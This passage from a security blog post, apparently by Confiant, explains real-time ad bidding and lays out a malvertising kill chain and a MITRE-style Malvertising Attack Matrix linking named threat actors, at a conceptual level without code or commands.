srcset="https://substackcdn.com/image/fetch/$s_!MLz6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 424w, https://substackcdn.com/image/fetch/$s_!MLz6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 848w, https://substackcdn.com/image/fetch/$s_!MLz6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!MLz6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9476936f-a654-4af1-8a4a-f675498673c6_1000x562.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Photo by <a href="https://unsplash.com/@hackernoon?utm_source=medium&amp;utm_medium=referral">Hacker Noon</a> on <a href="https://unsplash.com?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure></div><h3>What is Malvertising?</h3><p>A relatively new threat vector, Malvertising is a cyber-attack relying on ad networks and digital ads exposing virtually any internet user surfing the web to the risk of infection.</p><p>From my experience, if I have to compare with what we know from the cyber security world, I would define Malvertising as the following: Malvertising is a mixture of watering holes, exploit kits, web attacks and drive-by downloads all combined and run by now identifiable threat groups called Malvertisers.</p><p>Malvertisers rely heavily on the advertising ecosystem and its complexity to funnel their persistent and complex to detect cyber attacks.</p><p>The Modus Operandi (MO) and Tactics, Techniques &amp; Procedures (TTPs) that we tracked so far on different malicious actors within ad networks helped shape a new kill chain.</p><h3>Malvertising Kill Chain:</h3><h4>Understanding the AD tech ecosystem:</h4><p>Due to the nature of this new kill-chain and the complexity of the ad tech stack, it is essential to understand how ads are displayed on a web page.</p><p>Let&#8217;s quickly explain one crucial piece from the ad tech world, called <strong>real-time bidding</strong> or RTB (or what is the process an ad go through before it is displayed)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!NS4C!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!NS4C!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 424w, https://substackcdn.com/image/fetch/$s_!NS4C!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 848w, https://substackcdn.com/image/fetch/$s_!NS4C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 1272w, https://substackcdn.com/image/fetch/$s_!NS4C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!NS4C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png" width="1000" height="463" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:463,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!NS4C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 424w, https://substackcdn.com/image/fetch/$s_!NS4C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 848w, https://substackcdn.com/image/fetch/$s_!NS4C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 1272w, https://substackcdn.com/image/fetch/$s_!NS4C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff9e62da0-493e-40d0-a8a2-5636f9166292_1000x463.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Courtesy of Circus Street, taken from this video </figcaption></figure></div><div id="youtube2-b0VNWo-e38Y" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;b0VNWo-e38Y&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/b0VNWo-e38Y?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><blockquote><p>Note: The video link above is one of the best quick explanations I found so far, and if you are new to ad tech, I highly recommend you checking it out, or continue reading below.</p></blockquote><p>Before an ad is displayed on the web page, it has to go first through a complex ad stack involving DSPs, ad exchanges, and SSPs define below:</p><ul><li><p>DSP: or demand-side platforms are used by the buyers, media agencies, or advertisers who have a demand for ad inventory. DSP holds information from the buy-side about criteria they need: targeted audience, maximum bid price, location, etc.</p></li><li><p>SSP: or Supply-Side Platforms are used by the sellers, media owners who are supplying ad inventory. They hold a record of the inventory a media owner wants to sell: the different audience segments that visit the media owner site, the minimum price the media owner wants to sell for, etc.</p></li><li><p>Ad Exchange: is the piece of technology that auctions off the ad inventory made available by the SSPs.</p></li></ul><p>The whole process is buyers will be entered in if the inventory available matches the criteria in their DSP. The one with the maximum bid price will win the auction. The auction process starts when a user opens a web page with an ad unit on it, and the ad that wins the auction appears at the same time that the rest of the page loads.</p><p>This whole process is what we call RTB, and all this complex process takes a <strong>fraction of a second to execute.</strong></p><p>Advertisers and Publishers are using the technologies above to transact billions of impressions daily.</p><p>Like any ecosystem that generates billions of impressions, it will be subject to hacking and cyber-attacks. Threat actors infiltrated this ad ecosystem and turned it to their advantage.</p><p>As we will see in the Kill Chain below, threat actors could be present at different steps of this RTB process.</p><h4>Malvertising Kill Chain:</h4><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tYnT!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tYnT!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 424w, https://substackcdn.com/image/fetch/$s_!tYnT!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 848w, https://substackcdn.com/image/fetch/$s_!tYnT!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 1272w, https://substackcdn.com/image/fetch/$s_!tYnT!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tYnT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png" width="1000" height="965" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:965,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tYnT!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 424w, https://substackcdn.com/image/fetch/$s_!tYnT!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 848w, https://substackcdn.com/image/fetch/$s_!tYnT!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 1272w, https://substackcdn.com/image/fetch/$s_!tYnT!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6aba363c-7212-45c5-b4f0-e01199142bd2_1000x965.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Malvertising Kill Chain</figcaption></figure></div><p>A typical Malvertising Kill Chain is a sequence of the following phases:</p><ul><li><p><strong>Initial Access:</strong> Initial Access is the first step where the Malvertisers enters the Advertising ecosystem. Usually Malvertisers access the ad ecosystem by creating fake agencies for the purpose of establishing relationships with ad buying platforms (DSPs) or by creating fake ad creatives.</p></li><li><p><strong>Execution: </strong>A tactic used by Malvertisers to execute malicious code typically via forceful redirects.</p></li><li><p><strong>Persistence</strong>: the step where Malvertisers persist within the ad ecosystem, ensuring their campaigns can last the longest time possible while evading detection mechanisms.</p></li><li><p><strong>Cloaking</strong>: A tactic where Malvertisers implement specific fingerprints and techniques that helps them define whether or not to cloak a landing page, which is the rendering/reveal of the final landing page</p></li><li><p><strong>Landing</strong> <strong>Page</strong>: After several redirect chains, visitors end up on a final page, the landing page. Typically a landing page is the Malvertisers final &#8220;payload&#8221; and comes in different forms and purposes ranging from Drive-by downloads, Exploit kits, or investment scams, etc.</p></li></ul><p>Due to the sophistication of Malvertising cyber attacks and their deceptive nature, we have seen attackers using more tactics, not in a specific order, at different phases of this Kill Chain multiple times:</p><ul><li><p><strong><a href="https://matrix.confiant.com/data/data700.html">Defense Evasion</a></strong>, <strong><a href="https://matrix.confiant.com/data/data400.html">Browser Exploitation</a>,</strong> and <strong><a href="https://matrix.confiant.com/data/data500.html">Credential Access</a></strong> can be used before and/or after the <strong>Cloaking and/</strong>or<strong> </strong>the <strong>Execution </strong>phase.</p></li><li><p>Attackers can have multiple <strong>Landing Pages</strong> with some/all of them using the <strong>Cloaking </strong>tactic.</p></li></ul><p>The<strong> <a href="https://matrix.confiant.com/data/data900.html">Impact</a> </strong>is another tactic that we added to help Enterprise assess the risks of such attacks and understand whether they are of a destructive nature, causing a denial of service, hijacking resources, or causing a financial loss.</p><p>Therefore, we extended this model from five sequential phases to nine tactics to represent it within a matrix.</p><h3>Malvertising Attack Matrix</h3><p>The Malvertising Attack Matrix is derived from the<a href="https://attack.mitre.org/"> MITRE ATT&amp;CK Framework</a> representation. Multiple techniques can be employed to accomplish the same tactic, depending on the attacker&#8217;s main objective. however, not all nine tactics need to be employed.</p><p>This representation has the advantage of aggregating the techniques used in previous attacks by documenting techniques, tactics and tools used. This aggregation is known as behavior profile.</p><p>Based on the behaviors we identified, the Confiant security team has identified multiple threat actors like <a href="https://blog.confiant.com/uncovering-2017s-largest-malvertising-operation-b84cd38d6b85">Zirconium</a>, <a href="https://blog.confiant.com/massive-egobbler-malvertising-campaign-leverages-chrome-vulnerability-to-target-ios-users-a534b95a037f">eGobbler</a>, <a href="https://blog.confiant.com/fake-celebrity-endorsed-scam-abuses-ad-tech-to-net-1m-in-one-day-ffe330258e3c">FizzCore</a>, <a href="https://blog.confiant.com/malvertiser-scamclub-bypasses-iframe-sandboxing-with-postmessage-shenanigans-cve-2021-1801-1c998378bfba">ScamClub</a>, <a href="https://blog.confiant.com/persistent-malvertising-attacker-dccboost-raged-as-the-year-faded-4d09340cd3f5">DCCBoost</a>, <a href="https://blog.confiant.com/tag-barnakle-the-malvertiser-that-hacks-revive-ad-servers-redirects-victims-to-malware-50cdc57435b1">Tag Barnakle</a>, or <a href="https://blog.confiant.com/malvertising-threat-actor-yosec-exploits-browser-bugs-to-push-malware-cve-2021-1765-3040dd3c4af1">YoSec</a> along with multiple <a href="https://www.fireeye.com/blog/products-and-services/2020/12/how-mandiant-tracks-uncategorized-threat-actors.html">UNC</a> groups with clusters of activity tied to Malvertising.</p><p>Malvertising threat actors&#8217; profiles can now be identified and tracked via the Malvertising Attack Matrix, see below.</p><h4>How to</h4><p>We built a website specifically for the Malvertising Attack Matrix that can be found at this URL: </p><p>https://matrix.confiant.com</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Rj7q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Rj7q!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 424w, https://substackcdn.com/image/fetch/$s_!Rj7q!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 848w, https://substackcdn.com/image/fetch/$s_!Rj7q!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 1272w, https://substackcdn.com/image/fetch/$s_!Rj7q!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Rj7q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png" width="1000" height="486" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:486,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Rj7q!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 424w, https://substackcdn.com/image/fetch/$s_!Rj7q!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 848w, https://substackcdn.com/image/fetch/$s_!Rj7q!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 1272w, https://substackcdn.com/image/fetch/$s_!Rj7q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9afe7e9-bf21-4e6c-8afa-dbb8de1779ed_1000x486.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Malvertising Attack Matrix defined by Confiant</figcaption></figure></div><p>Along with the matrix, we have different behavior profiles aka Threat actors, that we identified and added their profiles to this Matrix. By selecting a threat actor profile, the matrix will show the associated Tactics and Techniques.</p><p>For example, this how the threat profile of <a href="https://blog.confiant.com/uncovering-2017s-largest-malvertising-operation-b84cd38d6b85">Zirconium</a> looks like:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hXZu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hXZu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 424w, https://substackcdn.com/image/fetch/$s_!hXZu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 848w, https://substackcdn.com/image/fetch/$s_!hXZu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 1272w, https://substackcdn.com/image/fetch/$s_!hXZu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hXZu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png" width="1000" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/eb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hXZu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 424w, https://substackcdn.com/image/fetch/$s_!hXZu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 848w, https://substackcdn.com/image/fetch/$s_!hXZu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 1272w, https://substackcdn.com/image/fetch/$s_!hXZu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feb1db6e2-3233-4a60-9513-846df8f846c7_1000x485.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 